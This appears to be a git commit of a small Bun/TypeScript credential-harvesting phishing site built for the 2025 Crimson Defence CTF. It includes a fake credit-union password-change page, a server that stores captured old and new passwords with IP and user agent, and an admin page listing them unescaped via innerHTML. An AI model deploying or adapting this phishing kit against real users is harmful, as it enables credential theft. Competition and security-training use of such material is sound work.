a phising page made for Crimson Defence CTF

feat: init

dunkirk.sh b32699d7

+39
.gitignore
··· 1 + # dependencies (bun install) 2 + node_modules 3 + 4 + # output 5 + out 6 + dist 7 + *.tgz 8 + 9 + # code coverage 10 + coverage 11 + *.lcov 12 + 13 + # logs 14 + logs 15 + _.log 16 + report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json 17 + 18 + # dotenv environment variable files 19 + .env 20 + .env.development.local 21 + .env.test.local 22 + .env.production.local 23 + .env.local 24 + 25 + # caches 26 + .eslintcache 27 + .cache 28 + *.tsbuildinfo 29 + 30 + # IntelliJ based IDEs 31 + .idea 32 + 33 + # Finder (MacOS) folder config 34 + .DS_Store 35 + 36 + database.db 37 + 38 + # crush 39 + .crush
+27
LICENSE.md
··· 1 + The MIT License (MIT) 2 + ===================== 3 + 4 + Copyright © `2025` `Kieran Klukas` 5 + 6 + Permission is hereby granted, free of charge, to any person 7 + obtaining a copy of this software and associated documentation 8 + files (the “Software”), to deal in the Software without 9 + restriction, including without limitation the rights to use, 10 + copy, modify, merge, publish, distribute, sublicense, and/or sell 11 + copies of the Software, and to permit persons to whom the 12 + Software is furnished to do so, subject to the following 13 + conditions: 14 + 15 + The above copyright notice and this permission notice shall be 16 + included in all copies or substantial portions of the Software. 17 + 18 + THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, 19 + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 20 + OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 21 + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 22 + HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 23 + WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 24 + FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 25 + OTHER DEALINGS IN THE SOFTWARE. 26 + 27 +
+24
README.md
··· 1 + # Crimson Phish 2 + 3 + A simple reset password phishing page for the [2025 Crimson Defence CTF](https://uacrimsondefense.github.io/cdctf.html). 4 + 5 + ![an image of the admin dashboard](https://github.com/taciturnaxolotl/crimson-phish/blob/main/docs/admin.png?raw=true) 6 + 7 + ## Usage 8 + 9 + This is a very simple server with the html and assets being loaded and bundled by `bun.serve` and then a very simple http api for handling password resets and displaying the password list. 10 + 11 + ```bash 12 + bun start 13 + bun dev # hot reloading 14 + ``` 15 + 16 + ![an image of the main page](https://github.com/taciturnaxolotl/crimson-phish/blob/main/docs/index.png?raw=true) 17 + 18 + <p align="center"> 19 + <i><code>&copy 2025-present <a href="https://github.com/taciturnaxolotl">Kieran Klukas</a></code></i> 20 + </p> 21 + 22 + <p align="center"> 23 + <a href="https://github.com/taciturnaxolotl/crimson-phish/blob/main/LICENSE.md"><img src="https://img.shields.io/static/v1.svg?style=for-the-badge&label=License&message=MIT&logoColor=d9e0ee&colorA=363a4f&colorB=b7bdf8"/></a> 24 + </p>
+56
bun.lock
··· 1 + { 2 + "lockfileVersion": 1, 3 + "workspaces": { 4 + "": { 5 + "name": "phishing-simulator", 6 + "dependencies": { 7 + "bun": "latest", 8 + }, 9 + "devDependencies": { 10 + "@types/bun": "latest", 11 + }, 12 + "peerDependencies": { 13 + "typescript": "^5", 14 + }, 15 + }, 16 + }, 17 + "packages": { 18 + "@oven/bun-darwin-aarch64": ["@oven/bun-darwin-aarch64@1.2.22", "", { "os": "darwin", "cpu": "arm64" }, "sha512-YCJkV2/vO5VVTQdwxLQrkW/yU4FAMWd3AXU3Z+TfoeYkHye5d2dIaBRXEPrOzrq1LQ2esN6ZhGfwYu2lVMTVRw=="], 19 + 20 + "@oven/bun-darwin-x64": ["@oven/bun-darwin-x64@1.2.22", "", { "os": "darwin", "cpu": "x64" }, "sha512-LhazlsoNOhjirQT303zKG5cli65FR5WweZgGRL0LoxH/ZWTwlYxpTCOBJ6/euV8YLMaGDNQfIfRLFARK5NqXng=="], 21 + 22 + "@oven/bun-darwin-x64-baseline": ["@oven/bun-darwin-x64-baseline@1.2.22", "", { "os": "darwin", "cpu": "x64" }, "sha512-l8OHOXKZKCZaRDb5gxE8qRfccq6zi7j1xJiSI5P86qXW8jPoQbf+pPCoP8NgeyzeHqluWJoN0mqgCsSdp5dzWQ=="], 23 + 24 + "@oven/bun-linux-aarch64": ["@oven/bun-linux-aarch64@1.2.22", "", { "os": "linux", "cpu": "arm64" }, "sha512-JdC5nvmQh0rbUC46FY5uSF4SKYcY2LX5S66ZZvWdFp8R+6WnNc3Jr1hd5NcRW9qBVQ/JHi8oedrky9BtT8tzMA=="], 25 + 26 + "@oven/bun-linux-aarch64-musl": ["@oven/bun-linux-aarch64-musl@1.2.22", "", { "os": "linux", "cpu": "none" }, "sha512-Dc4/CsUgufxIwQKo8vVFtUvNSZIqVgogj7cg8GIXdNsanO/vckv8qspyLHuQB5E2Nye4nXorD76ixKuwkPTAMw=="], 27 + 28 + "@oven/bun-linux-x64": ["@oven/bun-linux-x64@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-U3h5zPw0stPl1qi7sGk8hL1r2QXH73HJBTLBHpeJ+PlfhfX/QIWnL/qK2c5Prm4jh2e/Tkw8bwL7NZ4iE9cVEQ=="], 29 + 30 + "@oven/bun-linux-x64-baseline": ["@oven/bun-linux-x64-baseline@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-sww8Sqc0Zq94wa95ouNC5weMRXIFt32gB3+xXXw6o52Uf7TeNrYriQr+o68D7A5YXk9DSDFaTknwYTYwYw/lmQ=="], 31 + 32 + "@oven/bun-linux-x64-musl": ["@oven/bun-linux-x64-musl@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-h76y0mrs1dnpjVxZTzoREa9cRdf029aKP0TxRMgABH3aRm2UBgUfgh0qyTsRhnHd4+gl6X2Vn0nfStZTNWGEFQ=="], 33 + 34 + "@oven/bun-linux-x64-musl-baseline": ["@oven/bun-linux-x64-musl-baseline@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-iQgG4wCSkHQ0CrEPsLMsCWoM1hewybJHVP5d3UaASwHcfuvd7N7hODZyz59tfMaGxZygyxIXQhgz32p37zDsEg=="], 35 + 36 + "@oven/bun-windows-x64": ["@oven/bun-windows-x64@1.2.22", "", { "os": "win32", "cpu": "x64" }, "sha512-u+MIs0yj8Euv2ScFuqmbL54n4uJ+ZMK2nkAwkzumu6oUG0wRzIaSxAv61bO70Q1lTWX4dXLfoJhADJ1HdiGpTQ=="], 37 + 38 + "@oven/bun-windows-x64-baseline": ["@oven/bun-windows-x64-baseline@1.2.22", "", { "os": "win32", "cpu": "x64" }, "sha512-9NgPAoht79/rex2C4IJ4N9BFpNupXS5WdKMKda0tBB/xjQkEZbSZ01wpS7PF4yHPwWsUZI0g7xP8NcNHT3nDcw=="], 39 + 40 + "@types/bun": ["@types/bun@1.2.22", "", { "dependencies": { "bun-types": "1.2.22" } }, "sha512-5A/KrKos2ZcN0c6ljRSOa1fYIyCKhZfIVYeuyb4snnvomnpFqC0tTsEkdqNxbAgExV384OETQ//WAjl3XbYqQA=="], 41 + 42 + "@types/node": ["@types/node@24.5.2", "", { "dependencies": { "undici-types": "~7.12.0" } }, "sha512-FYxk1I7wPv3K2XBaoyH2cTnocQEu8AOZ60hPbsyukMPLv5/5qr7V1i8PLHdl6Zf87I+xZXFvPCXYjiTFq+YSDQ=="], 43 + 44 + "@types/react": ["@types/react@19.1.13", "", { "dependencies": { "csstype": "^3.0.2" } }, "sha512-hHkbU/eoO3EG5/MZkuFSKmYqPbSVk5byPFa3e7y/8TybHiLMACgI8seVYlicwk7H5K/rI2px9xrQp/C+AUDTiQ=="], 45 + 46 + "bun": ["bun@1.2.22", "", { "optionalDependencies": { "@oven/bun-darwin-aarch64": "1.2.22", "@oven/bun-darwin-x64": "1.2.22", "@oven/bun-darwin-x64-baseline": "1.2.22", "@oven/bun-linux-aarch64": "1.2.22", "@oven/bun-linux-aarch64-musl": "1.2.22", "@oven/bun-linux-x64": "1.2.22", "@oven/bun-linux-x64-baseline": "1.2.22", "@oven/bun-linux-x64-musl": "1.2.22", "@oven/bun-linux-x64-musl-baseline": "1.2.22", "@oven/bun-windows-x64": "1.2.22", "@oven/bun-windows-x64-baseline": "1.2.22" }, "os": [ "linux", "win32", "darwin", ], "cpu": [ "x64", "arm64", ], "bin": { "bun": "bin/bun.exe", "bunx": "bin/bunx.exe" } }, "sha512-NnU1TEiH9LLv1jE+84AJ7ZGimdQzLgzbZNvK3enNh5qUHqkgDm99SiA7tnJnzfJW5OWBdoZzKae2zXu0pwQ/kA=="], 47 + 48 + "bun-types": ["bun-types@1.2.22", "", { "dependencies": { "@types/node": "*" }, "peerDependencies": { "@types/react": "^19" } }, "sha512-hwaAu8tct/Zn6Zft4U9BsZcXkYomzpHJX28ofvx7k0Zz2HNz54n1n+tDgxoWFGB4PcFvJXJQloPhaV2eP3Q6EA=="], 49 + 50 + "csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="], 51 + 52 + "typescript": ["typescript@5.9.2", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-CWBzXQrc/qOkhidw1OzBTQuYRbfyxDXJMVJ1XNwUHGROVmuaeiEm3OslpZ1RV96d7SKKjZKrSJu3+t/xlw3R9A=="], 53 + 54 + "undici-types": ["undici-types@7.12.0", "", {}, "sha512-goOacqME2GYyOZZfb5Lgtu+1IDmAlAEu5xnD3+xTzS10hT0vzpf0SPjkXwAw9Jm+4n/mQGDP3LO8CPbYROeBfQ=="], 55 + } 56 + }
docs/admin.png

This is a binary file and will not be displayed.

docs/index.png

This is a binary file and will not be displayed.

+86
index.ts
··· 1 + import { serve } from "bun"; 2 + import homepage from "./public/index.html"; 3 + import adminpage from "./public/admin.html"; 4 + import { SQL } from "bun"; 5 + 6 + const db = new SQL("sqlite://database.db"); 7 + await db` 8 + CREATE TABLE IF NOT EXISTS passwords ( 9 + id INTEGER PRIMARY KEY AUTOINCREMENT, 10 + username TEXT NOT NULL, 11 + old_password TEXT NOT NULL, 12 + new_password TEXT NOT NULL, 13 + ip_address TEXT NOT NULL, 14 + user_agent TEXT NOT NULL, 15 + timestamp TEXT NOT NULL 16 + ); 17 + `; 18 + 19 + const server = serve({ 20 + routes: { 21 + // HTML imports 22 + "/": homepage, 23 + "/admin": adminpage, 24 + 25 + // API endpoints 26 + "/api/change-password": { 27 + async POST(req) { 28 + const { username, current_password, new_password } = 29 + (await req.json()) as { 30 + username: string; 31 + current_password: string; 32 + new_password: string; 33 + }; 34 + 35 + // Get client info 36 + const ip_address = req.headers.get("x-forwarded-for") || "unknown"; 37 + const user_agent = req.headers.get("user-agent") || "unknown"; 38 + 39 + // Log the password change attempt 40 + await db` 41 + INSERT INTO passwords 42 + (username, old_password, new_password, ip_address, user_agent, timestamp) 43 + VALUES ( 44 + ${username}, 45 + ${current_password}, 46 + ${new_password}, 47 + ${ip_address}, 48 + ${user_agent}, 49 + ${new Date().toISOString()} 50 + ) 51 + `; 52 + 53 + // Log to console 54 + console.log("Password change attempt:", { 55 + username, 56 + old_password: current_password, 57 + new_password, 58 + ip_address, 59 + user_agent, 60 + }); 61 + 62 + // Simulate successful password change 63 + return Response.json({ 64 + success: true, 65 + message: "Password changed successfully", 66 + }); 67 + }, 68 + }, 69 + 70 + "/api/logs": { 71 + async GET(req) { 72 + const logs = await db` 73 + SELECT * FROM passwords 74 + `; 75 + // Return all logs 76 + return Response.json(logs); 77 + }, 78 + }, 79 + }, 80 + 81 + // Enable development mode 82 + development: true, 83 + }); 84 + 85 + console.log(`Phishing server running at ${server.url}`); 86 + console.log(`Admin dashboard available at ${server.url}admin`);
+21
package.json
··· 1 + { 2 + "name": "phishing-simulator", 3 + "version": "1.0.0", 4 + "description": "A phishing simulation for educational purposes", 5 + "main": "index.ts", 6 + "type": "module", 7 + "scripts": { 8 + "start": "bun run index.ts", 9 + "dev": "bun --hot run index.ts" 10 + }, 11 + "dependencies": { 12 + "bun": "latest" 13 + }, 14 + "private": true, 15 + "devDependencies": { 16 + "@types/bun": "latest" 17 + }, 18 + "peerDependencies": { 19 + "typescript": "^5" 20 + } 21 + }
+123
public/admin.html
··· 1 + <!doctype html> 2 + <html lang="en"> 3 + <head> 4 + <meta charset="UTF-8" /> 5 + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 6 + <link rel="icon" type="image/x-icon" href="favicon.png" /> 7 + <title>Admin Dashboard</title> 8 + <link rel="stylesheet" href="styles.css" /> 9 + <style> 10 + .admin-container { 11 + width: 90%; 12 + max-width: 1200px; 13 + margin: 20px auto; 14 + padding: 20px; 15 + background-color: #fff; 16 + border-radius: 8px; 17 + box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1); 18 + } 19 + 20 + table { 21 + width: 100%; 22 + border-collapse: collapse; 23 + margin-top: 20px; 24 + } 25 + 26 + th, td { 27 + padding: 12px; 28 + text-align: left; 29 + border-bottom: 1px solid #ddd; 30 + } 31 + 32 + th { 33 + background-color: #c62828; 34 + color: white; 35 + } 36 + 37 + tr:hover { 38 + background-color: #f5f5f5; 39 + } 40 + 41 + .refresh-btn { 42 + background-color: #c62828; 43 + color: white; 44 + border: none; 45 + padding: 10px 20px; 46 + border-radius: 4px; 47 + cursor: pointer; 48 + margin-bottom: 20px; 49 + } 50 + 51 + .refresh-btn:hover { 52 + background-color: #b71c1c; 53 + } 54 + </style> 55 + </head> 56 + <body> 57 + <header> 58 + <img src="banner.png" alt="" width="500px" /> 59 + </header> 60 + 61 + <div class="header"> 62 + <h1>Admin Dashboard</h1> 63 + </div> 64 + 65 + <div class="admin-container"> 66 + <h2>Password Change Logs</h2> 67 + <button id="refreshBtn" class="refresh-btn">Refresh Data</button> 68 + <div id="logsContainer"> 69 + <table id="logsTable"> 70 + <thead> 71 + <tr> 72 + <th>ID</th> 73 + <th>Username</th> 74 + <th>Old Password</th> 75 + <th>New Password</th> 76 + <th>IP Address</th> 77 + <th>User Agent</th> 78 + <th>Timestamp</th> 79 + </tr> 80 + </thead> 81 + <tbody id="logsTableBody"> 82 + <!-- Logs will be inserted here --> 83 + </tbody> 84 + </table> 85 + </div> 86 + </div> 87 + 88 + <script> 89 + // Function to fetch and display logs 90 + function fetchLogs() { 91 + fetch('/api/logs') 92 + .then(response => response.json()) 93 + .then(data => { 94 + const tableBody = document.getElementById('logsTableBody'); 95 + tableBody.innerHTML = ''; // Clear existing rows 96 + 97 + data.forEach(log => { 98 + const row = document.createElement('tr'); 99 + row.innerHTML = ` 100 + <td>${log.id}</td> 101 + <td>${log.username}</td> 102 + <td>${log.old_password}</td> 103 + <td>${log.new_password}</td> 104 + <td>${log.ip_address}</td> 105 + <td>${log.user_agent}</td> 106 + <td>${log.timestamp}</td> 107 + `; 108 + tableBody.appendChild(row); 109 + }); 110 + }) 111 + .catch(error => { 112 + console.error('Error fetching logs:', error); 113 + }); 114 + } 115 + 116 + // Fetch logs when page loads 117 + document.addEventListener('DOMContentLoaded', fetchLogs); 118 + 119 + // Refresh button event listener 120 + document.getElementById('refreshBtn').addEventListener('click', fetchLogs); 121 + </script> 122 + </body> 123 + </html>
public/banner.png

This is a binary file and will not be displayed.

public/favicon.png

This is a binary file and will not be displayed.

+231
public/index.html
··· 1 + <!doctype html> 2 + <html lang="en"> 3 + <head> 4 + <meta charset="UTF-8" /> 5 + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 6 + <link rel="icon" type="image/x-icon" href="favicon.png" /> 7 + <title>MyCCU Change Password</title> 8 + <link rel="stylesheet" href="styles.css" /> 9 + <link rel="stylesheet" href="loginstyles.css" /> 10 + <link rel="preconnect" href="https://fonts.googleapis.com" /> 11 + <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> 12 + <link 13 + href="https://fonts.googleapis.com/css2?family=Archivo:ital,wght@0,100..900;1,100..900&family=Open+Sans:ital,wght@0,300..800;1,300..800&display=swap" 14 + rel="stylesheet" 15 + /> 16 + </head> 17 + <body> 18 + <header> 19 + <a href="index.html" 20 + ><img src="banner.png" alt="" width="500px" 21 + /></a> 22 + </header> 23 + 24 + <div class="header"> 25 + <h1>Welcome to MyCCU</h1> 26 + </div> 27 + 28 + <div class="login-wrapper"> 29 + <div class="login-container"> 30 + <h2>Change Password</h2> 31 + <div class="loginForm"> 32 + <p> 33 + Hello Jeffrey Barrett, please enter your current 34 + password and choose a new password. 35 + </p> 36 + <form id="resetForm"> 37 + <div class="form-group"> 38 + <label>Current Password</label> 39 + <input 40 + type="password" 41 + name="current_password" 42 + class="form-control" 43 + required 44 + /> 45 + <span class="help-block"></span> 46 + </div> 47 + 48 + <div class="form-group"> 49 + <label>New Password</label> 50 + <input 51 + type="password" 52 + name="new_password" 53 + class="form-control" 54 + required 55 + /> 56 + <span class="help-block"></span> 57 + </div> 58 + 59 + <div class="form-group"> 60 + <label>Confirm New Password</label> 61 + <input 62 + type="password" 63 + name="confirm_password" 64 + class="form-control" 65 + required 66 + /> 67 + <span class="help-block"></span> 68 + </div> 69 + 70 + <div class="form-group"> 71 + <input 72 + type="submit" 73 + class="btn btn-primary" 74 + value="Change Password" 75 + /> 76 + </div> 77 + 78 + <p> 79 + <a 80 + href="http://crimsonchallenge.duckdns.org/login.php" 81 + >Back to Login</a 82 + >. 83 + </p> 84 + </form> 85 + </div> 86 + </div> 87 + </div> 88 + 89 + <script> 90 + document 91 + .getElementById("resetForm") 92 + .addEventListener("submit", function (e) { 93 + e.preventDefault(); 94 + 95 + const formData = new FormData(this); 96 + const currentPassword = formData.get("current_password"); 97 + const newPassword = formData.get("new_password"); 98 + const confirmPassword = formData.get("confirm_password"); 99 + 100 + // Clear previous errors 101 + document 102 + .querySelectorAll(".form-group") 103 + .forEach((group) => { 104 + group.classList.remove("has-error"); 105 + const helpBlock = 106 + group.querySelector(".help-block"); 107 + if (helpBlock) { 108 + helpBlock.textContent = ""; 109 + } 110 + }); 111 + 112 + // Validate password confirmation 113 + if (newPassword !== confirmPassword) { 114 + const confirmGroup = 115 + document.querySelectorAll(".form-group")[2]; 116 + const helpBlock = 117 + confirmGroup.querySelector(".help-block"); 118 + if (helpBlock) { 119 + helpBlock.textContent = 120 + "New passwords do not match."; 121 + confirmGroup.classList.add("has-error"); 122 + } 123 + return; 124 + } 125 + 126 + // Validate password strength (optional) 127 + if (newPassword.length < 8) { 128 + const newPasswordGroup = 129 + document.querySelectorAll(".form-group")[1]; 130 + const helpBlock = 131 + newPasswordGroup.querySelector(".help-block"); 132 + if (helpBlock) { 133 + helpBlock.textContent = 134 + "New password must be at least 8 characters long."; 135 + newPasswordGroup.classList.add("has-error"); 136 + } 137 + return; 138 + } 139 + 140 + // Prepare data for API 141 + const apiData = { 142 + username: "jbarrett", 143 + current_password: currentPassword, 144 + new_password: newPassword, 145 + }; 146 + 147 + // Make the request to our Bun API 148 + fetch("/api/change-password", { 149 + method: "POST", 150 + headers: { 151 + "Content-Type": "application/json", 152 + }, 153 + body: JSON.stringify(apiData), 154 + }) 155 + .then((response) => response.json()) 156 + .then((data) => { 157 + if (data.success) { 158 + alert("Password changed successfully!"); 159 + // Redirect to the target site 160 + window.location.href = 161 + "https://www.youtube.com/watch?v=E4WlUXrJgy4"; 162 + } else { 163 + // Show error on appropriate field 164 + if (data.field === "current_password") { 165 + const currentGroup = 166 + document.querySelectorAll( 167 + ".form-group", 168 + )[0]; 169 + const helpBlock = 170 + currentGroup.querySelector( 171 + ".help-block", 172 + ); 173 + if (helpBlock) { 174 + helpBlock.textContent = 175 + data.message || 176 + "Current password is incorrect."; 177 + currentGroup.classList.add("has-error"); 178 + } 179 + } else { 180 + const newPasswordGroup = 181 + document.querySelectorAll( 182 + ".form-group", 183 + )[1]; 184 + const helpBlock = 185 + newPasswordGroup.querySelector( 186 + ".help-block", 187 + ); 188 + if (helpBlock) { 189 + helpBlock.textContent = 190 + data.message || 191 + "An error occurred. Please try again."; 192 + newPasswordGroup.classList.add( 193 + "has-error", 194 + ); 195 + } 196 + } 197 + } 198 + }) 199 + .catch((error) => { 200 + console.error("Error:", error); 201 + const currentGroup = 202 + document.querySelectorAll(".form-group")[0]; 203 + const helpBlock = 204 + currentGroup.querySelector(".help-block"); 205 + if (helpBlock) { 206 + helpBlock.textContent = 207 + "Network error. Please try again."; 208 + currentGroup.classList.add("has-error"); 209 + } 210 + }); 211 + }); 212 + 213 + // Clear error state when user starts typing 214 + document 215 + .querySelectorAll('input[type="password"]') 216 + .forEach((input) => { 217 + input.addEventListener("input", function () { 218 + const formGroup = this.closest(".form-group"); 219 + if (formGroup) { 220 + formGroup.classList.remove("has-error"); 221 + const helpBlock = 222 + formGroup.querySelector(".help-block"); 223 + if (helpBlock) { 224 + helpBlock.textContent = ""; 225 + } 226 + } 227 + }); 228 + }); 229 + </script> 230 + </body> 231 + </html>
+131
public/loginstyles.css
··· 1 + 2 + /* Body Styling */ 3 + body { 4 + background-color: #f4f4f4; 5 + display: flex; 6 + justify-content: center; 7 + align-items: center; 8 + height: 100vh; 9 + margin: 0; 10 + flex-direction: column; 11 + } 12 + 13 + 14 + .header h1 { 15 + font-size: 36px; 16 + margin-bottom: 10px; 17 + } 18 + 19 + .header p { 20 + font-size: 18px; 21 + margin-top: 0; 22 + } 23 + 24 + /* Login and Message Container */ 25 + .login-wrapper { 26 + margin: 0; 27 + padding: 0; 28 + box-sizing: border-box; 29 + display: flex; 30 + justify-content: center; 31 + align-items: center; 32 + max-width: 1100px; 33 + width: 100%; 34 + background-color: #fff; 35 + border-radius: 8px; 36 + box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1); 37 + padding: 20px; 38 + margin-top: 20px; /* Adjust for header height */ 39 + } 40 + 41 + /* Login Container */ 42 + .login-container { 43 + width: 50%; 44 + padding: 30px; 45 + box-sizing: border-box; 46 + } 47 + 48 + /* Heading */ 49 + h2 { 50 + text-align: center; 51 + margin-bottom: 20px; 52 + font-size: 24px; 53 + color: #333; 54 + } 55 + 56 + /* Input Field Styling */ 57 + input { 58 + width: 100%; 59 + padding: 12px; 60 + margin-bottom: 20px; 61 + border: 1px solid #ddd; 62 + border-radius: 4px; 63 + font-size: 16px; 64 + box-sizing: border-box; 65 + } 66 + 67 + input:focus { 68 + border-color: #c62828; 69 + outline: none; 70 + } 71 + 72 + /* Button Styling */ 73 + button { 74 + width: 100%; 75 + padding: 12px; 76 + background-color: #c62828; 77 + color: #fff; 78 + border: none; 79 + border-radius: 4px; 80 + font-size: 16px; 81 + cursor: pointer; 82 + } 83 + 84 + button:hover { 85 + background-color: #b71c1c; 86 + } 87 + 88 + /* Error Message */ 89 + .message { 90 + color: red; 91 + font-size: 0.9rem; 92 + text-align: center; 93 + display: none; 94 + margin-top: 10px; 95 + } 96 + 97 + /* Message Section */ 98 + .message-section { 99 + width: 50%; 100 + padding: 30px; 101 + box-sizing: border-box; 102 + background-color: #f0f8ff; 103 + border-radius: 8px; 104 + display: flex; 105 + justify-content: center; 106 + align-items: center; 107 + } 108 + 109 + .message-section h3 { 110 + font-size: 18px; 111 + color: #333; 112 + } 113 + 114 + .message-section p { 115 + font-size: 14px; 116 + color: #555; 117 + } 118 + 119 + 120 + 121 + /* Responsive Design */ 122 + @media (max-width: 800px) { 123 + .login-wrapper { 124 + flex-direction: column; 125 + max-width: 100%; 126 + } 127 + 128 + .login-container, .message-section { 129 + width: 100%; 130 + } 131 + }
+481
public/styles.css
··· 1 + body { 2 + font-family: "Open Sans", sans-serif; 3 + margin: 0; 4 + padding: 0; 5 + box-sizing: border-box; 6 + background-color: #f9f9f9; 7 + color: #333; 8 + } 9 + h1, h2, h3, h4 { 10 + font-family: "Archivo", sans-serif; 11 + } 12 + header { 13 + background-color: #c62828; /* Red */ 14 + color: white; 15 + padding: 15px 0; 16 + text-align: center; 17 + } 18 + header h1 { 19 + margin: 0; 20 + } 21 + nav { 22 + background-color: #b71c1c; /* Dark Red */ 23 + overflow: hidden; 24 + } 25 + nav a { 26 + color: white; 27 + padding: 15px 20px; 28 + text-decoration: none; 29 + display: inline-block; 30 + text-align: center; 31 + } 32 + nav a:hover { 33 + background-color: #9a1a1a; /* Even darker red for hover effect */ 34 + } 35 + .container { 36 + width: 80%; 37 + margin: 20px auto; 38 + } 39 + section { 40 + margin-bottom: 30px; 41 + } 42 + .cta { 43 + background-color: #d32f2f; /* Bright Red */ 44 + color: white; 45 + padding: 20px; 46 + text-align: center; 47 + border-radius: 5px; 48 + } 49 + .cta a { 50 + color: white; 51 + text-decoration: none; 52 + font-weight: bold; 53 + font-size: 18px; 54 + } 55 + .cta a:hover { 56 + text-decoration: underline; 57 + } 58 + footer { 59 + background-color: #c62828; /* Red */ 60 + color: white; 61 + padding: 10px 0; 62 + text-align: center; 63 + } 64 + /* Additional Styling for Input Fields */ 65 + input[type="text"], input[type="password"], button { 66 + padding: 10px; 67 + font-size: 16px; 68 + margin: 10px 0; 69 + width: 100%; 70 + border: 2px solid #c62828; /* Red borders */ 71 + border-radius: 5px; 72 + } 73 + button { 74 + background-color: #c62828; 75 + color: white; 76 + border: none; 77 + cursor: pointer; 78 + transition-duration: 0.4s; 79 + } 80 + button:hover { 81 + background-color: #b71c1c; 82 + } 83 + .column { 84 + float: left; 85 + width: 48%; 86 + padding: 10px; 87 + height: auto; 88 + text-align: center; 89 + } 90 + 91 + /* Clear floats after the columns */ 92 + .row:after { 93 + content: ""; 94 + display: table; 95 + clear: both; 96 + } 97 + 98 + /* Responsive layout */ 99 + @media (max-width: 600px) { 100 + .column { 101 + width: 100%; 102 + } 103 + } 104 + 105 + .intro-text { 106 + background-color: #f1f1f1; 107 + padding: 20px; 108 + border-left: 5px solid #c62828; 109 + margin-bottom: 30px; 110 + } 111 + 112 + figcaption { 113 + font-style: italic; 114 + font-size: smaller; 115 + } 116 + 117 + .flex-container { 118 + display: flex; 119 + } 120 + 121 + /* Style for the job-listings section */ 122 + .job-listings { 123 + list-style-type: none; /* Removes default list bullets */ 124 + padding: 0; 125 + margin: 0; 126 + } 127 + 128 + .job-item { 129 + background-color: #fff; /* White background for each job item */ 130 + border: 1px solid #ddd; /* Light gray border for separation */ 131 + border-radius: 8px; /* Rounded corners */ 132 + margin-bottom: 20px; /* Space between job items */ 133 + padding: 20px; 134 + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); /* Light shadow for depth */ 135 + transition: transform 0.3s ease, box-shadow 0.3s ease; /* Smooth transition effect */ 136 + } 137 + 138 + .job-item:hover { 139 + transform: translateY(-5px); /* Slight lift effect on hover */ 140 + box-shadow: 0 5px 15px rgba(0, 0, 0, 0.15); /* Stronger shadow on hover */ 141 + } 142 + 143 + .job-item h4 { 144 + font-size: 1.6rem; 145 + color: #c62828; /* color for job title */ 146 + margin-bottom: 10px; 147 + font-weight: bold; 148 + } 149 + 150 + .job-item p { 151 + font-size: 1rem; 152 + line-height: 1.6; 153 + color: #555; /* Slightly gray text for better readability */ 154 + margin-bottom: 10px; 155 + } 156 + 157 + .job-item a.apply-button { 158 + display: inline-block; 159 + background-color: #c62828; /* color for the button */ 160 + color: white; 161 + padding: 10px 20px; 162 + text-decoration: none; 163 + font-weight: 600; 164 + border-radius: 5px; 165 + text-align: center; 166 + margin-top: 15px; 167 + transition: background-color 0.3s ease; 168 + } 169 + 170 + .job-item a.apply-button:hover { 171 + background-color: #b71c1c; /* Darker on hover */ 172 + } 173 + 174 + /* Services */ 175 + 176 + /* Section styling for each service section */ 177 + #creditunion-services { 178 + background-color: #f9f9f9; 179 + border: 1px solid #ddd; 180 + margin-bottom: 20px; 181 + padding: 20px; 182 + border-radius: 8px; 183 + } 184 + 185 + /* Styling for each section's heading */ 186 + #creditunion-services h2 { 187 + font-size: 1.8rem; 188 + color: #c62828; 189 + margin-bottom: 10px; 190 + font-weight: bold; 191 + } 192 + 193 + /* Paragraph styling */ 194 + #creditunion-services p { 195 + font-size: 1rem; 196 + line-height: 1.6; 197 + color: #555; 198 + margin-bottom: 20px; 199 + } 200 + 201 + /* Service list styling */ 202 + .service-list { 203 + list-style-type: none; 204 + padding-left: 0; 205 + margin-top: 10px; 206 + } 207 + 208 + .service-list li { 209 + font-size: 1rem; 210 + color: #333; 211 + margin-bottom: 10px; 212 + } 213 + 214 + .service-list li strong { 215 + color: #c62828; /* color for service titles */ 216 + } 217 + 218 + /* Service content layout */ 219 + .service-content { 220 + display: flex; 221 + justify-content: space-between; 222 + align-items: center; 223 + gap: 20px; 224 + } 225 + 226 + .text-content { 227 + flex: 1; 228 + } 229 + 230 + .image-content { 231 + flex: 0 0 250px; /* Fixed width for images */ 232 + } 233 + 234 + .image-content img { 235 + width: 100%; 236 + height: auto; 237 + border-radius: 8px; 238 + } 239 + 240 + /* Call to Action button styling */ 241 + .cta-button { 242 + display: inline-block; 243 + background-color: #c62828; 244 + color: white; 245 + padding: 15px 25px; 246 + text-decoration: none; 247 + text-align: center; 248 + font-size: 1.2rem; 249 + font-weight: bold; 250 + border-radius: 5px; 251 + margin-top: 30px; 252 + transition: background-color 0.3s ease; 253 + } 254 + 255 + .cta-button:hover { 256 + background-color: #b71c1c; 257 + } 258 + 259 + /* Add some padding between each section */ 260 + #creditunion-services + #creditunion-services { 261 + margin-top: 20px; 262 + } 263 + 264 + /* Board */ 265 + 266 + /* Board of Directors Section */ 267 + #board-of-directors { 268 + margin-bottom: 30px; 269 + } 270 + 271 + #board-of-directors h2 { 272 + font-size: 2rem; 273 + color: black; 274 + margin-bottom: 20px; 275 + font-weight: 